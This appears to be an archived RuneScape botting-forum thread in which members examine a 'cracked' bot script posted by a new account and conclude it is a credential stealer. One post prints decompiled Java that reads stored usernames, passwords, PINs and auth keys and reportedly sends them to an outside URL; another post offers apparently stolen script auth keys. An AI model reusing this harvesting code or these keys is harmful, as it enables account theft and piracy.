SRL Archive - Bot Information and Spottings

I got this bot from a friend from rsbots.net and it seems to work fantastic. I uploaded the bot w/ the crack below so everyone can take advantage of this too.


I hope you like it and I will be uploading a Youtube video for this fairly soon. I'll update this thread with the youtube link.

Who wants to click the link first?

I shall sandboxie it and check to see if its legit and crackable :P Just run it on a open it in a decompiler on a vm or sandbox it.

Please do, and tell me if its legit :D

Im not tryna be a dick, but you want to post the source to any of this? New Account, first post, etc.

Just as a warning, I wouldnt suggest downloading this. Could be malicious.

Ninjad by people that know what theyr're doing. lol

Oh sorry guys well I hope it's legit cause i've been using it =/ I got it from my friend on rs.

ggzz let us know… They might have username and password hacks… check for those too.

Lol I would highly suggest no one run that.

Looks like a legit script.. Just not exactly sure why the script has code for getting a username and password..
I thought the bot itself is supposed to log you in.. Am I wrong? The bot logs the user in right? And scripts are sandboxed without access to the username and password and pin.. Though it is RSBot.net so that could explain it.. Seems legit though.. ill try it on a noob account in a VM..

Edit:

Not gunna lie these url's scared me a bit:

public static final String[] ALLOWED_HOSTS = { ".runescape.com", ".powerbot.org", ".imageshack.us", ".tinypic.com", ".photobucket.com", ".imgur.com", ".deviantart.com", ".ipcounter.de", ".wikia.com", ".wikia.nocookie.net", ".gh0st.me", "gh0st.me", ".glorb.nl", "scripts.johnkeech.com", "jtryba.com", "tehgamer.info", "www.universalscripts.org", "www.dunkscripts.freeiz.com", "www.dlolpics.com", ".logikmedia.co", "letthesmokeout.com", "zaszmedia.com", "massacrescripting.net", ".ownagebots.com", "tablocks.com", ".solarbots.org", "www.paidthefastest.com", "greencowzsms.site50.net" };

Well the Gh0st.me one at least.. just from reading it.. never been to it yet though

Where did those URLs come from?
Zaszmedia is owned by Zasz here.

This cracks your iBot NeXus auth/account database, and maybe more.

Some evidence:

package org.rsbot.script.database;

import java.io.File;
import java.io.PrintStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.rsbot.gui.AccountManager;
import org.sqlite.JDBC;

public class Store
{
  private static String answerHash = "";

  public static void Decrypt(String paramString)
  {
    File localFile = new File(paramString);
    if (!localFile.exists())
      return;
    try
    {
      DriverManager.registerDriver(new JDBC());
      Connection localConnection = DriverManager.getConnection("jdbc:sqlite:" + localFile.getAbsolutePath());
      Statement localStatement = localConnection.createStatement();
      ResultSet localResultSet = localStatement.executeQuery("SELECT * FROM qawsedrftgyyhujikol;");
      while (localResultSet.next())
      {
        answerHash = localResultSet.getString("answerHash");
        System.out.println("Answer Hash: " + answerHash);
      }
      if ((answerHash == null) || (answerHash.equals("")))
      {
        try
        {
          localResultSet = localStatement.executeQuery("SELECT * FROM jfiwpja");
          while (localResultSet.next())
          {
            String str1 = Keys.dec(localResultSet.getString("user"));
            String str3 = Keys.dec(localResultSet.getString("pass"));
            String str4 = Keys.dec(localResultSet.getString("pin"));
            AccountManager.encrypt(str1, str3, str4);
          }
        }
        catch (SQLException localSQLException)
        {
        }
        localResultSet = localStatement.executeQuery("SELECT * FROM sapqmks;");
        while (localResultSet.next())
        {
          String str2 = Keys.dec(localResultSet.getString("auths"));
          AccountManager.auth(str2);
        }
      }
      localResultSet.close();
      localStatement.close();
      localConnection.close();
    }
    catch (Exception localException)
    {
    }
  }
}

I'll continue to investigate.

Can someone give me this guy's IP? I'm pretty sure this is the guy who posted the same thing on my forums a few months ago.

Edit: It sends account info here: http://gh0st.me/myth/reg/encryptaccs.php

From: ggzz
ill try it on a noob account in a VM..

Let us know what happens…

The URL's are in teh class files..
I looked at the gh0st.me/myth/version.txt.. its safe it only shows client version/script version 255 in it.. when I go to that URL.. Iunno what this does though: public static final String CLIENTPATCH = "http://gh0st.me/myth/modscript.gz";

and it also has code to check to see if powerbot.org is in ur host file.. I guess its just making sure that powerbot isn't blocked by rsbuddy.. thats about all I found.. "looks" legit though I never saw any ID's like dragon ID's I only saw code for banking and that was about it..

I still don't believe a script should have access to the account manager of rsbot.net or powerbot.. don't care but yeah Just for safety ill try it on a noob account and delete my stuff from account info from Appdata/Roaming


Edit: Do not run it.. it doesn't even show up in scripts selection for iBot-Nexus/RSBot.net… Doesn't show up at all.. it throws errors about multiple threads running.. take the script out of the folder.. it stops throwing errors. Gives a java std call error.. thats about all I can say nothing else.. Don't work no use running.. u can try it in a VM urself and see.

Also you should note that the script has deleted itself.. I cannot find it in the scripts folder.. Went to the scripts folder and only found RSBot.jar now.. so the AutoFrostDragonPro.jar is not in the scripts folder.. nor is it in my recycle bin.. Deleted my nexus folder and stopped the sandbox.. Oh well was worth a try since I wanted a script like this bad.. guess its too good to be true.

Going to try again and see if it deleted itself. Edit2: Didn't delete itself.. didn't get the same errors.. instead it just never shows up in selection so still a fail :c

Anyone need a free

gilded altar pro auth: 817xz4PCQSW4NPE5K0
Soulwars pro auth: 167Xz4KEWGMKFQ0VFB
Auto Construction Pro Auth: 945xz7NEAGRPU9SACJ
Auto Yaks Auth: 475xz21YSG4NKE1HLJ
Auto Ghouls Auth: 473xz8HB4FYQ01GFU8

Use em while u can

gh0st was responsible for the powerbot hack awhile ago now his releasing powerbot versions with the hacks so people can hack other people lol

http://www.youtube.com/watch?v=1fuBGRWrhe0&feature=related

Didn't download, and now that I see he's banned, I'm happy. Does opening the link count?

From: Huthaifah
Didn't download, and now that I see he's banned, I'm happy. Does opening the link count?

Dont click on ANYTHING. Before you mess up my computer…